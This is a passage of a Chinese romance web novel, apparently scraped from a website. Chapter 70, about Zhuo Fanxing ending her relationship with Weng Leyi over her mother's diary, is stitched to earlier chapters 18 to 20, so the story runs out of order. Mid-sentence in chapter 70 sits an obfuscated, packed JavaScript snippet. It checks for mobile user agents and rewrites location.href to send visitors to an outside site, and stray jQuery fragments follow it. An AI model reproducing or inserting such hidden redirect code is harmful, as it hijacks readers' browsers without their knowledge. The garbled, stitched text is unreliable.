那是姚馨雅日记本后面的内容,直到最后,去世前的一个星期,都与一位W先生有关。 70. 第 70 章 这天,卓繁星在翁乐仪的公寓整理东西的时候,遇上了打扫卫生的阿姨。 阿姨由一家中介公司介绍来,自认做的不错,这家雇主是好说话的年轻人,房子干净,远没有别人家里一家五口,老少挤在一起的麻烦事,价钱给的也不低,是桩好差事。 “卓小姐。”她叫了卓繁星一声,望着她往行李箱里放衣服的动作——分手了?自从翻过年来,听说她男朋友调去了外地工作。他们并没有结婚,聚少离多,迟早要这样。 果然,女孩子说:“阿姨,我搬回去住了,这里之后的事你联系先前找来的人,他们知道的。” 卓繁星本来就是因为联系方便,才加的她微信。这间公寓是翁乐仪的助理安排的,一应事项肯定有数。现下她不住了,翁乐仪也不在,交给他们处理就好。 “你去哪里住?翁先生不回来了?”阿姨忍不住问。 “他去津市了呀,这里本来就是临时呆一下。” “噢,噢。就是太突然了呀。” 卓繁星安抚道:“你不用担心,你公司那边肯定有合同签好的,这个月的工资即便不做了也会照常付你。”卓繁星想,在这类事上,翁乐仪的助理肯定是很大方的。 “哎,谢谢。我不担心的。”阿姨站在卧室外面。“要不要我帮你?东西重不重?” “没什么东西,我自己来就好。你忙完了就走吧,辛苦了。”卓繁星对她笑了笑。 小姑娘绝对是分手了呀。真是,作孽噢,两个人挺般配的呀。 她出门的时候,忍不住回头看一眼。不晓得是不是心理作用,感觉屋子立马空起来了。那么好了,又要找新差事了。 卓繁星不知道她的郁闷。她把衣柜里的衣服都拿出来,箱子里装不下。都怪搬来的时候是冬天,衣服重,她自己没概念,看看就几件,没想到翻出来那么多。真是像极了囤粮的仓鼠,一点一点,等到过两天再看,好大一摊东西。 她想着今天出门的时候,还想一只箱子绰绰有余。不过还好,不用急,她空了再来一趟。 枕头边放着一只粉色的邦尼兔,卓繁星拿过来抓在手上。 “到了?”那天回到家不久,卓繁星便收到了翁乐仪的电话。他声音听着很平稳,就是寻常的一次通话,在确认她安全抵达,仿佛她那条短信根本没有发出。 卓繁星感觉自己像是两只脚陷在沼泽里,不敢动。可她僵了太久了,总会没有力气。她在关机后的几个小时,一直如此。 卓繁星想,他们不会有结果的。 可其实她并没有一定要有个结果吧,只是当下有种说不出的委屈。她陷在一种混乱的情绪里,姚馨雅的事情还没结束,完全搅乱了她的生活。她甚至大概率和翁乐仪的爸爸还有联系。在日记里,迷恋着他。 呵,W先生。 翁乐仪的爸爸不知怎么想她,可他也绝没必要那么嫌弃她。毕竟他虽然没有选择和她妈妈结婚,但似乎并不排斥和她偷情。 还是因此他才格外讨厌她。 想不通,卓繁星撇嘴。姚馨雅那时候难道没有向他借点钱吗,他可是实力雄厚。 “翁乐仪。”她轻轻喊他。“我们分手吧。” 回到那天的通话,在卓繁星说出分手后,通话沉默了很长一段时间。她甚至仿佛听见了风的声音,从他的那头吹过来,填补在这段苍白的间隙里。 “愚人节已经过去了。别开玩笑了。”翁乐仪笑了一下。 他的声音放缓,沉稳地开口,因此显得格外郑重。“灿灿,我知道今天是我没有考虑周到,我很抱歉。只是别随便说分手。” “和我说话吧灿灿。”翁乐仪的声音十分温柔,卓繁星想,如果他就在她身边,她是绝对不舍得说出这样的话的。 卓繁星压下眼睛里的酸涩,说:“我不喜欢这样。” “那就不去管他,这是我们两个人的事。” “不是这样的。” “好,我们不去聊这个话题,你今天很累了,先休息吧。” “翁乐仪,我们不合适。” “哪里不合适?”他终于有些烦躁。“就因为一次见面?为什么只是因为他,就可以随随便便地定义我们的关系。” “是不是我谈结婚太快了。那就不谈,我们还和以前一样。你就当我从来没有提过这件事,好吗?” “灿灿。” “不是他,是我们很多方面,家庭背景,我们的工作,还有,还有很多。”卓繁星张着唇,想要列举出来,那些复杂的纠葛,乱七八糟的关系全都缠在一起。 “我说了不提结婚的事,别这样。”翁乐仪打断她。“抱歉。我们冷静一下吧,你很累了,先休息。” 这之后,他们就好像再没有通话了,各自忙碌起来。何安琪接手的店已经开始正常运营,卓繁星频繁地在剧团和工作室之间跑动,回想起那天的通话,深感矫情。她完全不需要说那些话,在他看来,仿佛是个没有得到他家人认可便很委屈的人,好像因此显得更想嫁给他了一样。 其实不是这样。 卓繁星捏着兔子的耳朵,叹气。她拿了一只袋子,将他们一起喝咖啡的杯子,她买的情侣款的拖鞋.....收拢起来。如果她不整理,等到这间房子被还回去,它们肯定也要被清理掉的。 邵丽丽看见她的行李箱了。 “你们......”她讶异地挑了挑眉,不太敢说出那两个字。 “别难过,别难过。谈恋爱嘛,旧的不去,新的不来。”她上前抱住卓繁星。“要不要姐带你去搓一顿?喝点?一醉解千愁,第二天起来什么都忘了。” 卓繁星摇摇头。“我没有很难过。” 你可拉倒吧。邵丽丽默默地讲。她看着她提着箱子上楼。“晚饭吃什么?我来烧。”她在下面喊她。 “随便吧,我都可以。”卓繁星探出一个脑袋。“我们出去喝酒吧。” 酒吧里,邵丽丽看着捧着酒杯的女人,你看,她说什么,失恋哪有这么容易的。 “为什么分呀?”她忍不住问她。 卓繁星说:“我们没有分。” 邵丽丽瞅了她一眼,好像在说那您在干啥。 “吵架了?”邵丽丽试探地开口。 卓繁星眨了两下眼睛,认真地摇头。“不算吧。” “那是几个意思?” “他爸不喜欢我。” “嗯?”邵丽丽睁大两只眼睛。“你见过他父母啦?他家里条件摆在那里,挑剔点也正常。只要翁乐仪不变心就好了,现在都是自由恋爱。再说他家里有皇位要继承吗?再怎么样也不会......” “他爸好像和我妈有关系。” 邵丽丽一口酒喷出来,急着找纸巾。“woc,你能不能给个准备。” “什么情况?” 卓繁星说:“我翻到我妈的日记,她好像一直和他爸爸有联系。” “所以他爸爸因为这件事反对你们在一起?” 卓繁星想了想。“可能吧。”他不是还嫌弃她身体不好么。 “翁乐仪知不知道他爸出轨。” “他爸妈早离婚了,他爸爸也没有再婚。” “那有什么?” “可是我妈妈结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067374|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚了。” 邵丽丽挠头。“艹,好复杂的关系。那和你们两个有什么关系?” “不会觉得很奇怪吗?” “还好吧,叔叔阿姨比我们会玩啦。” 卓繁星一囧,有点被说服的感觉。 过了两天,韩律师联系卓繁星,说有几份文件需要她签名。 “邮递过来的吗?” 那边顿了顿说:“额,蒋先生刚好回国,他是画室的法人,他拿过来的。” 卓繁星愣了一下。“是什么文件?” “一些画作的赠予文件。” 卓繁星在剧团的时候就接到了电话,说是快递公司送货上门。“你放家里吧,我人不在。” “很大的一样东西,最好您本人签收。” 卓繁星皱眉,实在想不起来是什么东西。对方说:“是国际快递。” 或许是画。 卓繁星还没来得及回家,蒋凌州的信息便来了,约她见面。 “你不用这么防备我,我只是刚好回国。上车吧。”蒋凌州下车开门。外面下着雨,细雨纷纷,打在人脸上也不冷。 “卓老师。”台阶上,几个年轻人走下来,好奇地向这边打量。 卓繁星忙不迭地上了车。 “这些文件你其实给我舅舅就好,我保管不了这些画。” “我知道,我只是将关于你的那幅寄给你了。”蒋凌州把车里的纸巾抽出来给她。 “......谢谢。”卓繁星一时没想到是哪幅。 卓繁星在开出去一段路后,说:“你找个地方停下,要签什么文件,签好就好。” “我顺便送你回去。” “不用了,我自己回去。” “卓繁星,我只是送你回去。”蒋凌州抿唇看向前方。 雨刮器扫过挡风玻璃,发出轻而痒的声音,沙沙,沙沙..... 卓繁星看着人行道上的雨伞,好多人淋着雨却没有那么慌张。 信号灯照在玻璃上,雨珠也变了颜色。 蒋凌州看着她柔软的侧脸,有一瞬间的恍惚,仿佛多年前在排练室外的下午。刺耳的鸣笛声响起,他猝然抬头,前排的车子已经开出去很远。 邵丽丽回到家里,那幅巨大的画就在门外。 翁乐仪已经等了很久,还好有他在,不然这幅画她真的搬不进去。 “繁星说是她妈妈的画,寄回来的。这么大。”他们两个一起将外面的纸箱拆掉,这几天下雨,纸箱都被泡软了。 “还好里面包的严实,繁星胆子也太大了,要是被淋湿了怎么办。”邵丽丽隔着塑料膜,看见了画上的少女。“这画的是繁星吧。对吧。画的真好。”她欣赏了一下。 邵丽丽给卓繁星发信息:【画我给你拿进来啦。你回来了吗?翁乐仪在等你。】 车上,卓繁星将最后一份文件签好,交给蒋凌州。“就这些吗?” “对。”他接过来放在档案袋里。“还有一件事,前两天有个人到画室来过,很奇怪,毕竟那个地方是私人的,很少有人去。他和你母亲好像认识,他还不知道你妈妈去世的事,听见的时候很吃惊。他们好像关系很亲密。” 卓繁星诧异道:“韩律师认识他吗?” “不认识。如果你需要,我可以托人查一下。” “好的,谢谢。” 卓繁星看了一眼手机,有些慌张地顿了下。 “怎么了?” “没事,谢谢。”卓繁星推开车门,细密的雨丝很快落在脸上。隔着朦胧的雨雾,她看见屋檐下的人,怔忪地站在原地。 18-20 第18章 ◎第三面(二)◎ 佟爸爸拎着长衫从柜台后头出来,说:“您随意,这儿都是面料,有绵绸的、苏罗的、还有香云纱。” 翁乐仪顺着他手看到另一头的布料架子上。 “我给您介绍介绍。”佟爸爸引着他走过去。 镜子边上,佟笑摸了摸卓繁星的脸:“怎么这么红啊,不热呀。” 卓繁星也很快摸了下,低头说:“没,没事儿。” “这匹是湖绫,不比一般缎面丝绸亮,但光泽够,更低调,也适合年轻人。” 翁乐仪应了声,佟爸爸瞧了他一眼,挑了下眉毛问:“您喜欢低领的还是高领的?素面儿的还是要花样?” 听他答了,把脖子上的皮尺拿下来说:“那我给您先简单量量?” 量了肩宽,蹲下来量腿长,翁乐仪往后退了一步,说:“还是下次再做吧,麻烦了。” 佟爸爸站起来,说:“您客气了,应该的。” 翁乐仪转身出了门,门口风铃又是一阵响。 卓繁星从镜子里看见人出去了,拉住佟妈妈的手,她正弯着身子拿针给她收着腰,收到哪儿合适得记着方便改。 “怎么了?”她问。 “我有点事,麻烦您等我一下。” 佟笑拉着她不明白:“什么事儿呀?” 卓繁星说:“马上过来。” 她推门出去,小跑着。 到了垂花门,跟回来拿衣服的翁乐仪撞了个正着。 她先是一惊,可想到他的腿,没退反而拉住了他的胳膊,他一只手放在她腰上,两人都怔了。 屋里,佟妈妈伸着脖子问佟笑:“俩人认识啊?” 佟笑也伸着脖子,努力地去想——哪来这么号人呐。 佟爸爸走到边上悠哉悠哉抱着茶壶喝了两口茶:“刚刚就心不在焉的,你俩人还没瞧出来?” 佟妈妈睁大两只眼睛:“这都,都搂上了?!” 佟爸爸哦呦一声也凑过来:“哪儿呢哪儿呢?” 三个脑袋立刻围到了门边上。 院子里,繁星松了手,腰窝处隐隐发烫。 “不好意思。”她往后退了半步。 翁乐仪的唇微微抿着,手垂下来,有点不自在。 “灵均订婚,我来给她送订婚礼物。”卓繁星轻声开口,其实跑出来就是一瞬间的想法,到了他跟前又不知该说什么。单为了上次他捡到门禁卡的事道谢,这是个理由,可也着实不必这样急匆匆地追出去。 “上次的事谢谢了,幸好你捡到了,不然补办起来很麻烦。” 她挽了挽头发,如果深谙男女交往之间的密语,便能一眼识破她的紧张与心虚。然而翁乐仪在这事上像极了他爸爸,没有在她敏感多情的母亲身上继承到丝毫。 “没什么。”他简单开口,目光落在后头院里的树上、石头上。倏忽,又落在她粉白的脸上。 卓繁星则是低着头,她的裙摆与他的西装裤再近一步就能碰到,鞋尖相对,仿佛亲密无间。 终于那只黑色皮鞋动了半分。“我”他方开口,卓繁星便道:“这是我大学室友家的店。”她终于抬头看向他,棕褐色的瞳孔在日光下被照得透明,琥珀一般。 翁乐仪移开眼睛,点头道:“真巧,我爷爷喜欢穿这家的衣服。” 卓繁星嗯了一声,看了眼身后的旗袍店,又看向他,声音里有淡淡的雀跃。“是啊,真巧啊。” 秋末的太阳洒在庭院里,人面桃花、纤腰折柳,她的嘴角微微翘着,翁乐仪的心莫名撞了一下。 人走了,佟笑拉着卓繁星便问:“老实交代!”她话里带笑,盘着两只手臂一副“严刑逼供”的架势。 卓繁星说:“同学。” 佟笑凑到她跟前,“你两只耳朵都红了,骗谁呢?” 她听了立刻捂着耳朵。 佟笑被她掩耳盗铃的样子逗乐了,把她带到镜子跟前,戳着她的脸道:“你明明就是春心萌动了好嘛,姐妹。我总觉得他有点眼熟”她摸着下巴,一下想不出来。 卓繁星却是被她说的愣住,镜子里的人眸中漾着水,脸也是红的。 她刚刚就是这幅样子在他面前的吗? 她的心砰砰跳的飞快。 佟笑跟她咬耳朵:“我爸说他家里不错的,你要真心动了就冲啊,到时候嫁到京市来多好,咱们还能经常约个饭逛个街,多好啊。”她顶了顶她的肩膀。 卓繁星脸上的热度渐渐褪去,这话像一盆凉水浇下来,让她瞬间清醒。她拍了拍她的脑袋,无奈笑了下,说:“是太阳晒的。” 佟笑看她还不承认,翻了个白眼无语道:“死鸭子嘴硬,我信你有鬼呢。” 翁乐仪从佟家旗袍店出来进了七号院。这是以前京市大学附近的家属楼,楼层不高,翁家的房子在一层,有个小院。这儿是当时翁爷爷做教授的时候分的房子,同妻子住了三十年,直到妻子病逝才搬出,不过每年都会回来住上两三个月。 翁乐仪回来的时候,他躺在摇椅上晒太阳,收音机里放着京韵大鼓,听见声音,眼皮一抬说:“回来了?” 翁乐仪把衣服放下,把掉在地上的毯子给拾起来。 “衣服要不要试试?” “不试了不试了,佟家小子做的我还是放心的。不过还是比不上他老子,老佟现在精力也跟不上了,都老了老了啊。”老爷子有些怅惘。 他这边感叹。“我听你姥爷说凌洲有对象了,是个挺漂亮的小姑娘。”说完拿眼睛看他,奈何翁乐仪没接收到他的讯息,轻描淡写地说是有这么回事儿,然后自顾进了屋把衣服给了保姆柳姨,过了几分钟才拿着电脑包出来。 “凌洲都有对象了。”老爷子又说。 翁乐仪把电脑打开,抬头看了他一眼。 “你也老大不小了,跟他就差了一岁。”老爷子喝了口茶。 翁乐仪没开口,等着他的后话。 果然,那边接道:“我前两天遛弯儿的时候和老佟一道下棋,他孙女和你一样年纪,也没找对象呢,要不你俩认识认识?” 翁乐仪放在触屏上的手没停,他说怎么让他去取衣服了。 “我觉得挺好的,你刚去见到他家姑娘没?”他见过佟笑,小姑娘长的伶俐,嘴巴也甜,是个懂事孩子。 翁乐仪手一停。“见了。”脑子里却晃过一席绿底红梅。 “咋样啊?”老爷子急的呦,坐起来看他。 他无奈道:“我接下来不在京,人姑娘在这儿住着,跟我谈什么?” 老爷子说:“你又不是不回来了?先接触接触呗,视频电话多打几个不都一样,哪像我们那时候只能写信拍电报的。” “所以你们那时候只能爱一个人。”翁乐仪从善如流地接到:“现在选择多了去了,人姑娘京市一套四合院,干嘛非得要谈个异地恋。”而且还是个瘸子。 提起这事儿,他说:“我过两天就走了,您自己身子自己多注意,我让柳姨把酒瓶子都藏起来了,陈医生每天都会过来,您身体什么情况都会跟我说,别想偷偷喝酒。” 院里鸟笼里的鸟叫了两声,收音机里正唱着名段《击鼓骂曹》。翁乐仪没听见声音,一抬头看老爷子已经背过身,嗐,不理人了。 光线太亮,电脑屏幕看不清,翁乐仪坐在竹椅子上,索性往后一趟。 午后的太阳照得人昏昏欲睡,他发了会儿呆,打开手机,朋友圈里随便一刷就刷到徐謇——这厮是他大学同学,两人一道组了乐团,后来毕业了联系也没断。 徐謇读的数学系,戴一副框架眼镜,看着老实无害,实则心机深沉。他如今实乃金融精英,朋友圈中时常出入酒会,晚宴。 想起来,这厮不仅心机深沉,还面皮极厚,当年大学里面追姑娘的时候,可谓是花招奇出。 那姑娘是卓繁星的朋友,犹记得他为了追人家,特意约密室逃脱,提前踩点。 那姑娘说要带朋友一起来,他就把他带上两两组队。见了卓繁星后,他立刻怂恿他去追她。他不知道他认识卓繁星,当然两人都没说认识对方,这就是古怪的一点。明明没什么不好说的,却偏偏装的和初次见面的陌生人一样——徒增心虚。 徐謇那时大言不惭:“以后咱们约会做的规划一起用,一起出行,实在是很有效率,经济利益最大化的一件事。” 翁乐仪当真觉得他非常奇葩。 以至于后来他真把那姑娘追到手后,还要带上他们两个,他也是没想到的。 做摩天轮、看电影、酒吧演出翁乐仪到现在都记得他说的话:“那姑娘绝对对你有意思,不然为什么每次都来。你能不能更迟钝一点!我要长成你这样,还要费这么多心思,啧啧。” 翁乐仪头一次开始怀疑,莫非可是她和凌州谈过可是他们早就分手了呀。 他动摇挣扎,眼看着后者占据上风。好在还有一个暑假的时间去思考。 他在那个暑假前往美国陪他母亲消夏避暑。那是一个平淡无奇的午后,他接到那通电话,女孩儿声音带着泪水的表白,让他恨不得遁地而逃,只想原地消失,再也不要见面。 他到现在都记得,那是凌州的手机打过来的,他不愿意承认当时自己还有些细微的心虚。对方轻飘飘不在意地和他打招呼,说卓繁星有话和他讲。 那时他们已经有了很多接触,不像高中时候那样陌生。他清楚地听见她柔软的音调,只是从没有那样脆弱过。 “我喜欢你!” “蒋凌州,我喜欢你!” 翁乐仪觉得自己仿佛被暴晒在阳光下,逃无可逃,还有羞耻的恼怒。 他丢下一句有病,挂了电话,皱着眉站了很久,然后一下跳进泳池。 过了很久,躺椅上晒太阳的蒋濯衣摘下墨镜,去找他。 “乐仪,有什么问题么?” “没有。妈妈,我想要洗洗脑子。”他在水里探出一个头,随后又一个俯身潜了下去。 水池里咕嘟咕嘟的冒着气泡,他睁开眼,蓝色的水波像一串无序的乱码。 总之那是个非常慌乱的夏天,像突如其来的暴风雨,尘土飞扬,很快消失无踪。 如今,奇怪的感觉卷土重来。 第19章 ◎第三面(三)◎ 卓繁星从初一来京市,见证了这座城市的变化,虽然依旧不习惯干燥的空气,但厚重沉静的风格叫她有种落定的心安。 现在京市已经有蓝天白云了,尤其记得初至时漫天的雾霾,天空灰蒙蒙看不清。 姚灵均带她去了一家有名的吃京菜馆,繁星记得以前约他家没有这么繁琐,甚至以前提起来,游客少有知道。 姚灵均说这都是自媒体带火的。不过这家味道确实不错,环境也好。她还是因为胡昊天公司中有认识的人,这才帮忙约上的 她把外套脱了,露出里面鹅黄色的针织衫。她头发不到胸口,烫了微卷,细软的发丝有些调皮地展开。 除去她留学的两年,中间的几年,她们其实就见了一面。工作之后,总是那个有空,那个没空。可其实都是借口吧。 卓繁星从佟笑那儿出来后,知道自己的冷清。 灵均不是没有去Y市过。她说:“灿灿,我们疗休养,刚好Y市那边有度假村,我来找你!” 她兴奋不已,卓繁星却觉得慌乱排斥。 她觉得自己的生活过得一团糟,羡慕她的留学生活,羡慕她安逸的工作环境。她那时正在医院里陪卓强复诊,结束后要将他们送上车,再返回工作室上课。 周遭的人都和她一样有一张麻木平静的脸,她拿着卓强的尿液送去化验科,手还没擦干净,湿漉漉的腾不出手来拿纸巾。 灵均欢快的声音格外刺耳。 “你什么时候过来?我不一定有空,暑假课多。” 卓繁星不知道她听懂了没。总之她们没有见上面,她很懂事地没有打搅她。 “灿灿,我结婚你会来吗?”姚灵均已从她口中得知她明日就要回Y市。 卓繁星点头。“为什么不来?” “是啊,为什么不来。”姚灵均觉得自己话问的傻气。她当然知道,家里待灿灿实在算不上多好。她们衣食不缺,姑还给家里不少钱,可情感上灿灿好像一直没有融入过。 她们现在大了,再提这些好像叫人觉得矫情。 两个人没坐对面,反而挤在一起。灵均问她下午去了哪里,卓繁星说去见了同学。 “相亲呢,怎么样?” 卓繁星老实说:“不太合适。” 姚灵均一针见血。“你没看上他?” 卓繁星想到那天信息发出去,她不是拖泥带水的人,赵医生也是客客气气的说好的。她当时真是觉得一下轻松许多,又很感谢他。 她将这种感觉说给姚灵均听,灵均咬着叉子,吃吃笑了下。 “那胡昊天还是很主动的。我一开始也对他没什么感觉,他后来一直约我不过医生很忙啦,我觉得不一定好。” 又说:“其实结婚也不一定好,我觉得我有点婚前焦虑。” 卓繁星说这很正常吧。二十出头的时候觉得结婚很遥远,过了三十好像又会特别慎重,而二十七八刚好又卡在两者之中,有种要抓住结婚尾巴的紧迫感。 她最后总结道:“好奇怪的感觉。” 姚灵均深以为然。至于自己到底想不想结婚,这时候反而是想不通的。被一种焦虑感裹挟着,就像一辆满载的火车,看见大家都上了车,自己也忍不住往上挤。 用完餐,姚灵均被告知帐已结过。“肯定是胡昊天啦,回去表扬他。”她脸上露出甜蜜的笑,去前台开发票。 卓繁星上了个洗手间回来,就看到她同陈跃站在一起,剑拔弩张。 陈跃的长相生的很好,并非多么精致,雕塑般的五官,而是他面相舒适,个子高挑,一身的气质综合起来的好看。 他今日穿了一件军绿色的飞行员夹克,倚着服务台。他对面的灵均,面色涨红,嘴唇开合,不知道在说些什么。 她走近了听见他们的对话。 灵均说:“我跟你没关系。” “请你吃顿饭的关系还是有的。”陈跃的声音轻浮且随意。 “我不需要!陈跃你能不能离我远点。你有钱路边随便请人吃饭都行,我不稀罕。” “就一顿饭。”他笑了下。“姚灵均你自己想太多。” 灵均肉眼可见的恼羞成怒,眼眶瞬间泛红,可是她并非要哭出来,这样的场合也不想允许她失态。她捏着拳头,扬起下巴,表现出不屑与厌恶。“就当是我想太多,你之前的所作所为让我很难不想多,毕竟我没你那么滥交。” “你说什么?”陈跃皱眉。 卓繁星这时走了上去。“灵均。”他目光在她面上扫过,伸出去的手收了回来。 卓繁星显然没有要和他打招呼的意思。“我们走吧。” 姚灵均眼眶胀痛,跟着她一路沉默地坐上车。 在酒店楼下的便利店,她说:“要不要买点酒?” 卓繁星说:“为什么?” 她皱着鼻子。“是啊,为什么。”却还是诚实地拿了两罐啤酒。 两人坐在便利店外的椅子上,胡昊天发来微信。这是她方才问他发票抬头开什么,他到现在才回过来信息。 她没意思地暗灭了手机。 陈跃调侃的声音又出现在脑海里。“你对象叫你开的?白吃一顿再拿一笔报销,人才啊。” 她呼出一口气。“灿灿,下雨天的时候,两个人一起赶论文。雨水的白噪音,让人觉得很安心。赶论文赶的崩溃,一转头,看见他睡着了。” “灵均。” “我不像你们,我一直不好意思说。我觉得你、许筠、还有蒋凌洲陈跃他们,你们都是一类人,长得特别好看,是会有电视剧小说里的青春故事的。而我不是。” 她转头看向她,抱着啤酒的双手配合着脚垫了垫。 “我觉得自己很平凡。读书的时候真的很丑不会打扮,身材也不好。所以我有点自卑,还很羡慕你。” “那个时候蒋凌洲和你交往,我是真的很生气,很嫉妒。”她皱着鼻子发笑。“我觉得你那个时候就和小说里的女主角一样。” “后来读大学的时候,我妈不明白我为什么不留在京市,可我就是想远离你们。我在大学里会打扮了,还变瘦了,可是我一回到家里,跟你站在一起,我就觉得自己还是丑小鸭一只。” 卓繁星吃惊地表情让她发笑。“真的呀。你不会一直觉得自己不好看吧。你那个时候跳舞哎,又高又瘦,仪态也好,和只白天鹅一样。而我,就是那种普普通通的学生。你还不近视,我那个时候顶着个眼镜框。” “所以啊,我就是会喜欢你们这样的人。” “你的成绩很好啊,我从来没有超过你过。”卓繁星摸摸她的脑袋,她蹭了蹭。“更生气了,你在骂我是书呆子。” “哎。”她叹气。“我在英国的时候真的很开心。我好像既有了喜欢念的书,又有了喜欢的人。” 晚上姚灵均直接住在酒店里,第二天匆匆忙忙爬起来上班。卓繁星给她的东西全都没拿。不知道是故意的还是真不方便。 卓繁星手机里佟笑拉的群,小苑在疯狂输出:翁乐仪!那不是繁星没成的对象。然后疯狂敲她。 卓繁星说没有没有,佟笑发了个看你装逼的表情包。 她解释不清,也顾不上,拿着东西去了姚家。 徐凤正在给婆婆买衣服,保姆来了电话。 “家里没人,叔去钓鱼了。送来几个盒子,我见都是名牌,一只名牌包,还有一条围巾,噢,还有一只翡翠镯子!说是给灵均做订婚礼物的。” 徐凤看着姚馨雅正拿了条貂毛的大衣给老娘看,说:“灿灿来家了。灵均订婚,她给送了礼。” 婆婆开口:“那我们回家吃饭。” “已经走了,说赶飞机,东西搁下就走了。” “那么急做什么?”她抱怨,目光看向女儿,提醒道:“你回来给她说了没?” 徐凤暗道,还说呢,她眼睛里就没这个女儿。从灿灿到家来,她就没问过一声,钱倒是打的及时。她那时候还想叫灿灿在电话跟前叫一声,叫她们说说话,她都不要。 徐凤不想触她霉头,可心里到底觉得她心狠。婆婆却说出来了。“你就这么一个女儿,往后你老了,要她照顾的。” 姚馨雅说:“妈别讲了。那么多年过去了,她认不认我这个妈还两说。” “那你到底要现在对她好呀。” “她现在都自力更生了,不指望我了。”姚馨雅慢条斯理地照了照镜子。 “你最有盘算,怎么不想到和那个鬼佬生一个。” 徐凤见姚馨雅变了脸色,上去打圆场。 都什么年纪了还说生不生,馨雅这辈子就灿灿一个丫头了。 她这人犟,认准了就往前冲,非要撞得头破血流。要不然当初怎么同灿灿爸爸私奔的呀。 徐凤想,她呀,不定看的比谁都清楚——孩子小好笼,孩子大了,灿灿不稀罕她钱。她只能朝着老公使劲了呀。 很快到了订婚那天,蒋凌洲带着爷奶妈妈一道来的时候,徐凤的腰板挺的笔直,面上红光满面,笑容都快咧到耳朵根去。 她同胡昊天妈妈的交锋少说也有三五回了,这人仗着自己初中教师的身份,命令起人来也是不遑多让。她心里顶不耐烦。 “濯衣也来了。”她笑嘻嘻地上前。 蒋濯衣上来就是一对奢牌情侣手表。“祝贺灵均呀。” 徐凤哪想到她这么大手笔,高兴地把两个孩子叫过来,叫姨。 蒋濯衣今日一件Maxmara的经典大衣,脱掉后修身的羊绒衫将身材的优势凸显的淋漓尽致。 “怎么这么年轻?我还以为是灵均的姐姐。”胡昊天妈妈赞叹不已。 徐凤因为蒋家已经撑足的场面。要知道本来二十个人的桌子上基本都是胡家人。谁叫姚家是半路来京,胡家就是京市人,胡昊天妈妈没少骄傲。先前因为房子的事,总也要拿出来摆摆架势。 如今,胡家这边的叔婆,几只眼睛看着蒋凌洲。 “谈对象了没?在哪里工作呀?看着真出挑。我家里还有好姑娘。” 秦老太太听了高兴,同丈夫一道笑。蒋爷爷说:“他有对象了,不然指定叫您给我介绍介绍。” 秦老太太说:“是啊,要是像灵均那么省心就好,说什么都不肯结婚,不知道要拖到什么时候去。” 胡爷爷点头。“现在的年轻人都有自己的主意。不过昊天当时一见到灵均就喜欢,回来就说要结婚,所以啊,说来说去还是看人。我们啊,就等着抱孙子了。” 蒋爷爷说:“我还没影呐。不知道什么时候才能抱上。” 两个人碰了酒杯,笑嘻嘻地喝下酒。 秦老太太朝蒋凌洲离开的方向和媳妇努嘴。“你瞧,说一下就坐不住了,跑了。” 宴席过半,蒋濯衣提前告辞。 她就是凑个热闹,好些年没参加过这样的聚会,国内还是不同,有股叫人觉得亲近的热闹劲。再说那天徐凤过来送帖子正巧碰上,她听她妈说了,因为姚馨雅的事儿,有点尴尬。 蒋濯衣是个敞亮人,今天来了,叫她妈也舒服点。毕竟都在京,以后还是要常走动的。徐凤这个干女儿还是很贴心的。 酒店大门外,翁乐仪已经在等她。 他把车门打开,蒋濯衣上车的档口看见蒋凌洲从旋转门中出来。 “凌洲也回去了?”她问道。 蒋凌洲面色有些冷淡,说:“林灿来京市了,刚下飞机。” 蒋濯衣挑了挑眉,她在妈耳朵里听见好几次了,是他在美国的女友。 翁乐仪同他打了招呼,便上了车。车子启动,蒋濯衣扭过头,看见蒋凌洲手机放在耳边,脸色着实称不上好。 “妈看什么?” “凌洲是不是同姚家的女儿谈过恋爱?” 翁乐仪愣了下。“怎么突然提这个?” “我方才去洗手间,见他堵着那个女孩儿。” “什么?” “哎呀,就是今天订婚的姑娘。” 翁乐仪的眼睛眨了眨,搁在扶手上的手松开,起身拿了一瓶水,喝了一口才道:“妈胡说什么呢。” “我哪里胡说。就是堵着那姑娘。”蒋濯衣漂亮的眼睛里闪烁着八卦的兴奋,令翁乐仪有些无语。 “他那女友急匆匆找过来,不会就是因为这个吧。” 翁乐仪说:“凌洲谈恋爱的不是她。” “那是谁?” 他嘴唇动了动,说:“她表姐。” 蒋濯衣果然愣了下。“姚馨雅的女儿?我今日没看见呀,她就带着她丈夫一道来的。” “要么是我看错了。”她有些遗憾地讲。 不过她兴趣很快转移到郊外别墅的装修上。她在国外曾任职于一家杂志的家居设计编辑,对这些很感兴趣。 “我听说你在Y市的房子也要装修,你将图纸发来,我给你看看。” “只是短暂的住一阵,不必费心思。” “我闲着也是闲着。再说要住上大半年,怎么不算时间长。你自己不讲,我去问你爸爸也是一样的。” 第20章 ◎第三面(四)◎ 机场,林灿的眼睛里都是面前高大的男人,他们多久没见了,快两个月了。即便在美国,经常十天半个月见不到,可六十天还是太久了呀。她冲上去抱住他的胳膊。 “惊喜吗?” 蒋凌洲推着行李车,看了她一眼。“你觉得呢?” 林灿撇撇嘴。“我飞了十几个小时哎。” “没人要求你,你可以不用受这些罪。” 林灿心里浮现失落,这种感觉她并不陌生,她在他身上常常感受到。这次是她不请自来,没有提前和他说,她应该习惯,已经做好了心理建设。 电话里装的无辜无助,他不是来了么,来了就好。 “你今天是去参加什么活动吗?”她换了话题,目光落在他打理整齐的头发上。 他一出现在机场她就发现了。他的穿着并不是非常正式,那证明不是很严肃的场合,可又精心装扮过。是朋友的聚会? 她在他身上没闻到酒气,反而是淡淡的木质香,夹杂着些许烟草气,成熟深邃,和他身上的气质融合的恰到好处。 她想到第一次见他的时候——不,不是第一次见他,她是先闻到他身上的味道,再看见他的人。 那时,她在干洗店做兼职,店铺因为开在富人区,服务人群常为高端人士。她在很长一段时间里只见过他家中的家政阿姨,直到有一天,她拿着要清洗的衣物下楼。出电梯时,他牵着一条伯恩山犬站在外面。她认出他身上的味道,狗也认出来,疯狂地往她这边蹭。 